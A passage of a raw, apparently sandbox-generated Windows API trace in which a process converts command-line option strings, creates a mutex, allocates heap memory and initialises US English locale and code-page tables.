lpWideCharStr=0x193d4d0, cchWideChar=17 | out: lpWideCharStr="--remove-profile") returned 17 [0282.962] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0282.962] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193d4d0 [0282.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1291c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0282.962] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0282.962] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x193d4d0 [0282.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4834, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=25 | out: lpWideCharStr="--config-restore-default") returned 25 [0282.962] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.962] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d550 | out: hHeap=0x1930000) returned 1 [0282.962] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e138 | out: hHeap=0x1930000) returned 1 [0282.963] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d468 | out: hHeap=0x1930000) returned 1 [0282.976] GetLastError () returned 0x0 [0282.976] SetLastError (dwErrCode=0x0) [0282.976] GetLastError () returned 0x0 [0282.976] SetLastError (dwErrCode=0x0) [0282.976] GetLastError () returned 0x0 [0282.976] SetLastError (dwErrCode=0x0) [0282.976] GetLastError () returned 0x0 [0282.976] SetLastError (dwErrCode=0x0) [0282.977] GetLastError () returned 0x0 [0282.977] SetLastError (dwErrCode=0x0) [0282.977] GetLastError () returned 0x0 [0282.977] SetLastError (dwErrCode=0x0) [0282.977] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\ad_trace_mtx") returned 0xd8 [0282.977] GetLastError () returned 0x0 [0282.977] SetLastError (dwErrCode=0x0) [0282.977] GetLastError () returned 0x0 [0282.977] SetLastError (dwErrCode=0x0) [0282.977] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xd8) returned 0x193e138 [0282.977] GetLastError () returned 0x0 [0282.977] SetLastError (dwErrCode=0x0) [0282.977] GetLastError () returned 0x0 [0282.978] SetLastError (dwErrCode=0x0) [0282.978] GetUserDefaultLCID () returned 0x409 [0282.979] GetLocaleInfoW (in: Locale=0x409, LCType=0x20001004, lpLCData=0x12d5fc0, cchData=2 | out: lpLCData="Ӥ") returned 2 [0282.980] IsValidCodePage (CodePage=0x4e4) returned 1 [0282.981] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0282.981] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x12d6018, cchData=64 | out: lpLCData="English") returned 8 [0282.982] GetLocaleInfoA (in: Locale=0x409, LCType=0x1002, lpLCData=0x12d6058, cchData=64 | out: lpLCData="United States") returned 14 [0282.982] GetLastError () returned 0x0 [0282.982] SetLastError (dwErrCode=0x0) [0282.982] GetLastError () returned 0x0 [0282.982] SetLastError (dwErrCode=0x0) [0282.982] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1f) returned 0x193d468 [0282.982] GetLastError () returned 0x0 [0282.982] SetLastError (dwErrCode=0x0) [0282.982] GetLastError () returned 0x0 [0282.982] SetLastError (dwErrCode=0x0) [0282.982] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1f) returned 0x193d490 [0282.982] GetLastError () returned 0x0 [0282.983] SetLastError (dwErrCode=0x0) [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7e1418, cbMultiByte=127, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7e1418, cbMultiByte=127, lpWideCharStr=0x12d5d78, cchWideChar=127 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f") returned 127 [0282.983] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f", cchSrc=127, lpCharType=0x12d5f38 | out: lpCharType=0x12d5f38) returned 1 [0282.983] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193d4b8 [0282.983] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x300) returned 0x193e218 [0282.983] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x180) returned 0x193e520 [0282.983] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x180) returned 0x193e6a8 [0282.983] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x101) returned 0x193e830 [0282.983] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12d5ecc | out: lpCPInfo=0x12d5ecc) returned 1 [0282.983] GetLastError () returned 0x0 [0282.983] SetLastError (dwErrCode=0x0) [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x193e830, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x193e830, cbMultiByte=256, lpWideCharStr=0x12d5c18, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0282.983] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x193e318 | out: lpCharType=0x193e318) returned 1 [0282.983] GetLastError () returned 0x0 [0282.983] SetLastError (dwErrCode=0x0) [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x193e831, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x193e831, cbMultiByte=255, lpWideCharStr=0x12d5c08, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿtÿ") returned 255 [0282.983] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿtÿ", cchSrc=255, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 255 [0282.983] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿtÿ", cchSrc=255, lpDestStr=0x12d59f8, cchDest=255 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0282.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchWideChar=255, lpMultiByteStr=0x193e5a1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x94ͱKv/", lpUsedDefaultChar=0x0) returned 255 [0282.983] GetLastError () returned 0x0 [0282.983] SetLastError (dwErrCode=0x0) [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x193e831, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x193e831, cbMultiByte=255, lpWideCharStr=0x12d5c08, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿtÿ") returned 255 [0282.984] LCMapStringW (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿtÿ", cchSrc=255, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 255 [0282.984] LCMapStringW (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿtÿ", cchSrc=255, lpDestStr=0x12d59f8, cchDest=255 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ") returned 255 [0282.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ", cchWideChar=255, lpMultiByteStr=0x193e729, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f\x87ͱXv/", lpUsedDefaultChar=0x0) returned 255 [0282.984] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e830 | out: hHeap=0x1930000) returned 1 [0282.984] GetLastError () returned 0x0 [0282.984] SetLastError (dwErrCode=0x0) [0282.984] GetLastError () returned 0x0 [0282.984] SetLastError (dwErrCode=0x0) [0282.984] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1f) returned 0x193d4c8 [0282.984] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x50) returned 0x193e830 [0282.984] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193d4f0 [0282.984] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193d500 [0282.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x12d5da8, cchData=4 | out: lpLCData="USD") returned 4 [0282.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="USD", cchWideChar=-1, lpMultiByteStr=0x12d5e28, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USD", lpUsedDefaultChar=0x0) returned 4 [0282.985] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193d510 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x12d5d98, cchData=2 | out: lpLCData="$") returned 2 [0282.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=-1, lpMultiByteStr=0x12d5e14, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$", lpUsedDefaultChar=0x0) returned 2 [0282.985] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e8a0 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x12d5d78, cchData=2 | out: lpLCData=".") returned 2 [0282.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x12d5e00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0282.985] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e8b0 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x12d5d68, cchData=2 | out: lpLCData=",") returned 2 [0282.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d5dec, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0282.985] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e8c0 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x18, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x18, lpLCData=0x12d5da8, cchData=4 | out: lpLCData="3;0") returned 4 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x12d5e28, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0282.986] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e8d0 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x12d5d98, cchData=1 | out: lpLCData="") returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x12d5e14, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0282.986] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1) returned 0x193e8e0 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x12d5d78, cchData=2 | out: lpLCData="-") returned 2 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=-1, lpMultiByteStr=0x12d5e00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-", lpUsedDefaultChar=0x0) returned 2 [0282.986] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e8f0 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x2000001a, lpLCData=0x12d5de8, cchData=2 | out: lpLCData="\x02") returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000019, lpLCData=0x12d5e24, cchData=2 | out: lpLCData="\x02") returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000054, lpLCData=0x12d5e10, cchData=2 | out: lpLCData="\x01") returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000055, lpLCData=0x12d5dfc, cchData=2 | out: lpLCData="") returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000056, lpLCData=0x12d5de8, cchData=2 | out: lpLCData="\x01") returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000057, lpLCData=0x12d5e24, cchData=2 | out: lpLCData="") returned 2 [0282.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000052, lpLCData=0x12d5e10, cchData=2 | out: lpLCData="\x03") returned 2 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000053, lpLCData=0x12d5dfc, cchData=2 | out: lpLCData="") returned 2 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.987] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193e900 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x15, lpLCData=0x193e900, cchData=4 | out: lpLCData="USD") returned 4 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.987] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e910 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x193e910, cchData=2 | out: lpLCData="$") returned 2 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.987] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e920 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x16, lpLCData=0x193e920, cchData=2 | out: lpLCData=".") returned 2 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.987] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e930 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x17, lpLCData=0x193e930, cchData=2 | out: lpLCData=",") returned 2 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0282.987] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e940 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x50, lpLCData=0x193e940, cchData=1 | out: lpLCData="") returned 1 [0282.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.987] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e950 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0x51, lpLCData=0x193e950, cchData=2 | out: lpLCData="-") returned 2 [0282.988] GetLastError () returned 0x0 [0282.988] SetLastError (dwErrCode=0x0) [0282.988] GetLastError () returned 0x0 [0282.988] SetLastError (dwErrCode=0x0) [0282.988] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1f) returned 0x193ec88 [0282.988] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x50) returned 0x193ecb0 [0282.988] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193e960 [0282.988] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193e970 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x12d5da8, cchData=2 | out: lpLCData=".") returned 2 [0282.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x12d5e28, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0282.988] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e980 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x12d5d98, cchData=2 | out: lpLCData=",") returned 2 [0282.988] WideCharToMultiByte (in: 